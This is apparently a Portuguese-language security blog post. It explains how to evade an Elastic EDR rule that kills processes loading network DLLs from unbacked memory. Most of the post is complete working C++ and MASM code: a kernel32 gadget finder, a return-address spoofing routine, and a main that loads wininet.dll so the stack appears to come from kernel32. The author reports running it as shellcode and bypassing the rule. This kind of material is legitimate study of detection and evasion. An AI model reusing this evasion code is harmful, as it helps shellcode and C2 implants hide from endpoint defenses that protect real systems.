# Return Address Spoofing

## Rule Elastic

No meu post [o-que-e-um-edr](https://vith0r.gitbook.io/public/defense-ops/endpoint-protection/o-que-e-um-edr "mention"), eu mostrei a seguinte rule do [Elastic](https://www.elastic.co/endpoint-detection-response):

```applescript
┌─────────────────────────────────────────────────────────────────────────────┐
│                         ELASTIC ENDPOINT RULE                         │
│               Network Module Loaded from Suspicious Unbacked Memory   │
└─────────────────────────────────────────────────────────────────────────────┘

name = "Network Module Loaded from Suspicious Unbacked Memory"
query = '''
sequence by process.entity_id
  # EVENTO 1: Processo inicia
  [process where event.action == "start" and 
   
   # Exceção: ignora processos assinados em Program Files
   not (process.executable : "?:\\Program Files\\*" and 
        process.code_signature.trusted == true)
  ]
  # EVENTO 2: DLL de rede carregada (TRIGGER)
  [library where
   
   # DLLs monitoradas
   dll.name : ("ws2_32.dll", "wininet.dll", "winhttp.dll") and
   
   # Call stack contém região UNBACKED
   process.thread.Ext.call_stack_contains_unbacked == true and
   
   # Padrões suspeitos de call stack
   process.thread.Ext.call_stack_summary : (
     "ntdll.dll|kernelbase.dll|Unbacked",
     "ntdll.dll|kernelbase.dll|Unbacked|kernel32.dll|ntdll.dll"
   )
  ]
  until [process where event.action:"end"]
'''
# Ação quando detecta
[[actions]]
action = "kill_process"
```

{% hint style="danger" %}
Esta regra está apresentada de forma resumida. A versão completa possui mais de 250 linhas, diversas exceções e outras seções adicionais. Condensei a regra do Elastic apenas para fins de exemplificação.
{% endhint %}

***

#### Por que monitorar DLLs legitmas?

C2 frameworks como **Cobalt Strike**, **Sliver** e **Havoc** precisam se comunicar com o servidor do atacante. Para isso, geralmente usam:

* `wininet.dll` / `winhttp.dll` → comunicação HTTP/HTTPS
* `ws2_32.dll` → conexões via socket

***

A regra da Elastic concentra-se em verificar se essas DLLs foram carregadas a partir de memória (unbacked), pois se uma shellcode em execução na memória tentar carregar alguma DLL a stack vai apontar que quem chamou `LoadLibraryA` ou outro método, está em uma região de memória (unbacked), e isso vai tomar a ação: `action = "kill_process"` podemos ver um exemplo disso com essa imagem:

<figure><img src="https://3487725980-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fx3knx0LN2gJjRbyd1ua9%2Fuploads%2FGo63Qes0KwS5LdUnQkI8%2Fimage.png?alt=media&#x26;token=13c2866c-eb95-4fc5-bbb4-d2cb32b3145c" alt=""><figcaption></figcaption></figure>

Se a DLL tivesse sido carregada por um módulo legitimo teriamos o seguinte resultado na stack:

<figure><img src="https://3487725980-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fx3knx0LN2gJjRbyd1ua9%2Fuploads%2F3kNSeNtF3NyBwMHmG2Dh%2Fimage.png?alt=media&#x26;token=abfc4322-7e93-4831-bf1d-949a2e7c62fe" alt=""><figcaption></figcaption></figure>

***

## Como Contornar isso?

Existem algumas maneiras para contornar isso, uma delas é manipular o `return address` para que pareça que foi chamada de uma função legítima (um gadget do tipo `jmp rbx` por exemplo).&#x20;

{% hint style="danger" %}
As informações que você encontrar neste post, técnicas, códigos, provas de conceito ou qualquer outra coisa são estritamente para fins educacionais.
{% endhint %}

A ideia básica é preparar um bloco (trampoline/gadget) cuja execução retorne para um endereço legítimo em um módulo confiável.

Para encontrar esse gadget podemos estar utilizando o seguinte código:

```c++
PBYTE FindGadget(PBYTE pModule)
{
	for (int i = 0;; i++)
		if (pModule[i] == 0xFF && pModule[i + 1] == 0x23)
			return pModule + i;
}
```

Primeiro, criamos a função `FindGadget` que recebe `pModule`, um ponteiro (PBYTE) para o endereço base do módulo desejado (neste caso, a kernel32.dll).

Dentro da função, usamos um loop for infinito para iterar byte a byte a partir do endereço base do módulo. A variável `i` representa o offset (deslocamento) em bytes desde o endereço base.

Em cada iteração, fazemos uma verificação com `if`: se o byte na posição atual (`pModule[i]`) for igual a `0xFF` E o próximo byte (`pModule[i + 1]`) for igual a `0x23`, encontramos o gadget.

Quando a condição é verdadeira, a função retorna `pModule + i`, que é o endereço exato do gadget (endereço base + offset).

Caso contrário, o loop continua, e `i++` incrementa automaticamente no final de cada iteração, avançando para o próximo byte até encontrar o padrão desejado.

***

```cpp
int main() {
	PBYTE pKernel32 = (PBYTE)GetModuleHandleA("kernel32");
	PBYTE pGadget = FindGadget(pKernel32);
	printf("[+] Gadget encontrado em: 0x%p\n", pGadget);

	getchar();
	return 0;
}
```

Agora na função `main`, primeiro precisamos obter o endereço base do módulo `kernel32.dll`, que é onde vamos iterar para procurar o gadget.

Para isso, utilizamos a função [GetModuleHandleA](https://learn.microsoft.com/pt-br/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea), passando como argumento o nome do módulo carregado na memória ("kernel32").

Essa função retorna um HMODULE (handle do módulo), que na prática é o endereço base onde o módulo está carregado na memória.

Como queremos acessar byte a byte desse módulo, fazemos um cast (PBYTE) para converter o HMODULE em PBYTE (ponteiro para bytes), permitindo aritmética de ponteiros byte a byte.

Por fim, armazenamos esse ponteiro em uma variável chamada `pKernel32` do tipo PBYTE, que agora aponta para o primeiro byte da `kernel32.dll` permitindo agora iterar pela memória do módulo.

***

Após encontrar o gadget com `FindGadget`, precisamos entender como invocar funções no Windows 64-bit. A arquitetura x64 usa a Microsoft x64 calling convention, que exige:

1. Os 4 primeiros argumentos devem ser passados nos registradores RCX, RDX, R8 e R9 (nesta ordem)
2. 32 bytes de shadow space devem ser reservados na stack antes da chamada (espaço reservado para os 4 primeiros argumentos, mesmo que estejam em registradores)
3. Argumentos adicionais (5º em diante) são colocados na stack após o shadow space

Para gerenciar essa complexidade, criamos a estrutura \_STACK\_CONFIG:

```c++
typedef struct _STACK_CONFIG {
    PVOID pGadget;      // Endereço do gadget encontrado (0xFF 0x23)
    PVOID pTarget;         // Endereço da função que queremos chamar
    PVOID pRbx;            // Valor para o registrador RBX (usado no gadget)
    PVOID pArgs;           // Ponteiro para array com os argumentos
} STACK_CONFIG, *PSTACK_CONFIG;
```

{% hint style="info" %}
Esta estrutura centraliza todas as informações necessárias para configurar a stack corretamente antes de executar a chamada spoofada via assembly.
{% endhint %}

Agora vamos estar criando uma função que vai estar preenchendo os valores dessa estrutura:

```cpp
BOOL SetupConfig(PVOID pGadget, PSTACK_CONFIG pConfig, PVOID pTarget, UINT64 arg1, UINT64 arg2, UINT64 arg3, UINT64 arg4) {
    pConfig->pTarget = pTarget;            // Função alvo a ser chamada
    pConfig->pGadget = pGadget;         // Gadget encontrado pelo FindGadget
    pConfig->pArgs = malloc(32);           // Aloca 32 bytes (4 args × 8 bytes)
    
    if (!pConfig->pArgs) return FALSE;     // Verifica falha na alocação
    // Preenche o array de argumentos (cada UINT64 ocupa 8 bytes)
    ((PUINT64)pConfig->pArgs)[0] = arg1;   // Será carregado em RCX
    ((PUINT64)pConfig->pArgs)[1] = arg2;   // Será carregado em RDX
    ((PUINT64)pConfig->pArgs)[2] = arg3;   // Será carregado em R8
    ((PUINT64)pConfig->pArgs)[3] = arg4;   // Será carregado em R9
    
    return TRUE;
}
```

Na nossa função `SetupConfig`, ela recebe um total de 7 argumentos:

1. pGadget ← Endereço do gadget obtido de `FindGadget`
2. pConfig ← Ponteiro para a estrutura que será preenchida (STACK\_CONFIG)
3. pTarget ← Endereço da função final que queremos executar ( LoadLibraryA)
4. arg1 a arg4 ← Os 4 argumentos que serão passados para a função alvo

***

Para preencher nossa estrutura utilizamos:

```cpp
pConfig->pTarget = pTarget;
```

O item `pTarget` recebe o endereço da função que será chamada.\
Caso não saiba o operador `->` acessa o membro `pTarget` da estrutura apontada por `pConfig`.

{% hint style="info" %}
Não farei a explicação sobre *pGadget*, pois seu funcionamento segue o mesmo princípio de *pTarget*. \
Caso os conceitos anteriores não estejam totalmente claros, a compreensão das próximas etapas poderá ser comprometida.
{% endhint %}

***

```cpp
Config->pArgs = malloc(32);
```

Depois com malloc alocamos memória para armazenar os valores dos 4 argumentos (4 argumentos × 8 bytes = 32 bytes)

***

Verificamos se a alocação foi bem-sucedida:

```cpp
if (!pConfig->pArgs) return FALSE;
```

Se [malloc](https://learn.microsoft.com/pt-br/cpp/c-runtime-library/reference/malloc) retornar NULL, a função retorna FALSE.

***

```c++
((PUINT64)pConfig->pArgs)[0] = arg1;
((PUINT64)pConfig->pArgs)[1] = arg2;
((PUINT64)pConfig->pArgs)[2] = arg3;
((PUINT64)pConfig->pArgs)[3] = arg4;
```

Aqui fazemos o cast (PUINT64) para converter o ponteiro `pArgs` (que é PVOID) em um ponteiro para UINT64. fazemos isso não para converter os valores, mas para interpretar a memória apontada por `pArgs` como um array de UINT64.

{% hint style="info" %}
Isso permite indexar a memória como um array de inteiros de 64 bits, onde cada posição:

(\[0], \[1], \[2], \[3]) armazena um argumento de 8 bytes.
{% endhint %}

Mais pra frente vamos ver que o nosso assembly espera que esses valores estejam organizados em blocos de 8 bytes:\
• Offset 0 = arg1\
• Offset 8 = arg2\
• Offset 16 = arg3\
• Offset 24 = arg4

***

Agora nosso código ASM irá ficar dessa forma:

{% hint style="danger" %}
O código assembly a seguir é meio chatinho de entender, eu mesmo levei algumas horas pra pegar tudo. Por isso deixei o código comentado e fiz uma explicação extra depois.
{% endhint %}

```asm
.code

; Estrutura que espelha _STACK_CONFIG do C++
; Cada campo ocupa 8 bytes (QWORD) em x64
Config STRUCT
	pGadget QWORD ?    ; Endereço do gadget (0xFF 0x23 - jmp [rbx])
	pTarget QWORD ?       ; Endereço da função alvo a ser chamada
	pRbx QWORD ?          ; Armazena endereço de retorno para cleanup
	pArgs QWORD ?         ; Ponteiro para array com os 4 argumentos
Config ENDS

PUBLIC Spoof

Spoof PROC
	pop rdi ; Salva endereço de retorno original (onde Spoof deve voltar)

	; RCX contém o ponteiro para _STACK_CONFIG (1º argumento x64)
	; Copia para R10 para liberar RCX
	mov r10,rcx ; r10 contém o endereço da struct

  ; Config.pArgs = É o offset (deslocamento em bytes) do campo pArgs dentro da estrutura
	mov r13,QWORD PTR [r10+Config.pArgs] ; r13 agora aponta pro array de argumentos

	; Carrega os 4 argumentos nos registradores conforme x64 calling convention
	mov rcx,QWORD PTR [r13]        ; arg1 → RCX (offset +0)
	mov rdx,QWORD PTR [r13+8]      ; arg2 → RDX (offset +8)
	mov r8,QWORD PTR [r13+16]      ; arg3 → R8  (offset +16)
	mov r9,QWORD PTR [r13+24]      ; arg4 → R9  (offset +24)

	; Cria shadow space (32 bytes obrigatórios x64)
	sub rsp,32

	; Carrega endereço do gadget em RAX
	mov rax,QWORD PTR [r10+Config.pGadget]

	; Coloca gadget no topo da stack (será o endereço de retorno falso)
	push rax

	; Prepara RBX para o gadget usar: jmp [rbx] pulará para 'cleanup'
	lea rbx,cleanup                    ; Carrega endereço de 'cleanup' em RBX
	mov QWORD PTR [r10+Config.pRbx],rbx ; Salva em pRbx da struct
	lea rbx,[r10+Config.pRbx]          ; RBX aponta para o campo pRbx

	; Pula para a função alvo (com stack spoofado)
	jmp QWORD PTR [r10+Config.pTarget]

cleanup:
	add rsp,32	; Remove shadow space
	jmp rdi			; Retorna ao endereço original salvo em RDI
Spoof ENDP

END
```

***

## Registradores principais no fluxo de execução:

**RDI** - Endereço de retorno original:

```asm
pop rdi  ; Salva o endereço de retorno da chamada de Spoof
```

• Vai conter: O endereço para onde Spoof deve retornar após terminar\
• Usado em: jmp rdi no cleanup (retorna ao chamador original)

***

**R10** - Ponteiro para a estrutura Config

```asm
mov r10, rcx  ; Copia o 1º argumento (ponteiro para _STACK_CONFIG)
```

• Vai conter: Endereço base da estrutura \_STACK\_CONFIG \
• Usado para: Acessar todos os campos da struct (pArgs, pGadget, pTarget, pRbx)

***

**R13** - Ponteiro para o array de argumentos

```asm
mov r13, QWORD PTR [r10 + Config.pArgs]  ; Carrega pArgs
```

• Vai conter: Endereço do array alocado com malloc(32) que tem os 4 argumentos\
• Usado para: Carregar arg1, arg2, arg3, arg4 nos registradores de chamada

***

**RCX**, **RDX**, **R8**, **R9** - Argumentos da função alvo

```asm
mov rcx, QWORD PTR [r13]        ; arg1 → RCX
mov rdx, QWORD PTR [r13 + 8]    ; arg2 → RDX
mov r8,  QWORD PTR [r13 + 16]   ; arg3 → R8
mov r9,  QWORD PTR [r13 + 24]   ; arg4 → R9
```

• Vão conter: Os 4 argumentos que serão passados para a função alvo

***

**RAX** - Endereço do gadget

```asm
mov rax, QWORD PTR [r10 + Config.pGadget]  ; Carrega endereço do gadget
push rax ; Coloca na stack
```

***

**RBX** - Ponteiro para pRbx (usado pelo gadget)

```asm
lea rbx, cleanup                    ; RBX = endereço de cleanup
mov QWORD PTR [r10 + Config.pRbx], rbx  ; Salva cleanup em pRbx
lea rbx, [r10 + Config.pRbx]       ; RBX aponta para o campo pRbx
```

• Usado pelo gadget: jmp \[rbx] lê \[rbx] (que é cleanup) e pula para lá

{% hint style="info" %}
Lembrando que o gadget na kernel32.dll consegue usar o valor de RBX porque registradores são globais, ou seja compartilhados por todo o código executando no mesmo thread, independente do módulo (DLL) onde está o código. Por isso, o jmp \[rbx] no gadget acessa o mesmo RBX configurado.
{% endhint %}

***

**RSP** - Ponteiro da stack

```asm
sub rsp, 32  ; Reserva shadow space
add rsp, 32  ; Libera shadow space
```

• Vai ser manipulado: Para criar/destruir o shadow space obrigatório x64

***

## Fluxo de Execução

### Pula para a função alvo:

```asm
jmp QWORD PTR [r10 + Config.pTarget]  ; Pula para LoadLibraryA
```

Não usa call, usa jmp → não empilha endereço de retorno\
A stack no topo contém: endereço do gadget (colocado com push rax)\
RCX/RDX/R8/R9 já têm os argumentos preparados\
Shadow space (32 bytes) já está reservado

Função executa normalmente:

```cpp
LoadLibraryA(RCX="wininet.dll")
```

Processa os argumentos dos registradores\
Usa o shadow space na stack conforme convenção x64\
Executa a lógica (carrega a DLL)\
RBX permanece intocado (registrador não-volátil preservado)

### Função termina com ret

```asm
ret  ; Instrução final de LoadLibraryA
```

Lê o topo da stack → encontra o endereço do gadget (não o endereço de Spoof!)\
Pula para o gadget localizado na `kernel32.dll`\
Se olhar a stack agora, parece que veio da `kernel32.dll`, não do nosso código!

***

## Spoofing em ação

Gadget executa dentro da `kernel32.dll`

```asm
; Gadget (0xFF 0x23) na kernel32.dll:
jmp QWORD PTR [rbx]
```

RBX aponta para Config.pRbx (endereço na nossa memória)\
\[rbx] contém o endereço de cleanup\
Lê da memória o endereço de cleanup e pula para lá\
O gadget não usa a stack para obter o destino, só RBX

### Retorna ao código Spoof (cleanup)

```asm
cleanup:
    add rsp, 32  ; Remove shadow space
    jmp rdi      ; Pula para o endereço original salvo
```

• Agora está de volta ao nosso código assembly\
• A stack está "limpa"

### Finalização

Libera shadow space

```asm
add rsp, 32
```

Remove os 32 bytes reservados no início\
Restaura RSP para o estado antes da chamada

### Retorna ao chamador original

```asm
jmp rdi  ; Volta para "main.cpp"
```

RDI contém o endereço salvo no início (pop rdi)\
Retorna para a linha após Spoof(\&Config) no "main.cpp"

***

## Código Main

Para conseguir spoofar a função que queremos, o nosso código `main` vai ficar assim:

```cpp
int main() {
	STACK_CONFIG Config;
	UINT64 pLoadLibraryA;
	HMODULE hWininet;

	PBYTE pKernel32 = (PBYTE)GetModuleHandleA("kernel32");
	PBYTE pGadget = FindGadget(pKernel32);

	pLoadLibraryA = (UINT64)GetProcAddress((HMODULE)pKernel32, "LoadLibraryA");

	const char* dllName = "wininet.dll";
	if (!SetupConfig((PVOID)pGadget, &Config, (PVOID)pLoadLibraryA, (UINT64)dllName, 0, 0, 0))
		return -1;

	hWininet = (HMODULE)Spoof(&Config);
	printf("[+] wininet.dll carregada em: 0x%llx\n", (UINT64)hWininet);
	getchar();
	return 0;
}
```

No nosso código `main` não tem muita novidade. Basicamente, a única coisa que vamos fazer é passar os argumentos para `SetupConfig` e depois chamar o nosso método `Spoof`.

Lembrando que você vai ter que declarar:

```cpp
extern "C" PVOID Spoof(PSTACK_CONFIG pConfig);
```

Declaramos extern "C" para desativar o name mangling do C++ e permitir que o linker encontre a função Spoof implementada em Assembly pelo nome exato, onde Spoof recebe um ponteiro para a estrutura `_STACK_CONFIG` (PSTACK\_CONFIG pConfig), permitindo que o Assembly acesse todos os campos da struct usando offsets a partir desse endereço base.

***

## Resultado

Para testar nosso código final, eu vou estar transformando esse código para shellcode e estarei executando:

<figure><img src="https://3487725980-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fx3knx0LN2gJjRbyd1ua9%2Fuploads%2F58bs4KcDS9HoQ4Av78N2%2Fimage.png?alt=media&#x26;token=b482bfd3-31a8-408b-a3d2-b622bf461a9b" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}
Repare que a `wininet.dll` aparece carregada duas vezes. Isso acontece por causa do conversor que eu usei, que acabava carregando a DLL antes do nosso código. Então eu precisei desmapear ela para conseguir capturar a stack correta.
{% endhint %}

Por fim, com esse resultado, já conseguimos contornar a rule do Elastic, pois a stack mostra que quem chamou a função `LoadLibraryA` foi a `kernel32.dll`, que está mapeada na memória do processo. Mas, claro, ao analisar a stack completa, ainda é possível perceber que quem “chamou” a `kernel32` foi o nosso próprio código, que não está mapeado, como dá para ver na imagem.

<figure><img src="https://3487725980-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fx3knx0LN2gJjRbyd1ua9%2Fuploads%2FuiKO68TIgRBSye94NNiA%2FDrawing%202025-11-26%2020.57.37.excalidraw.png?alt=media&#x26;token=a42f3470-3e4f-4ceb-883f-2cfb9070e4b3" alt=""><figcaption></figcaption></figure>
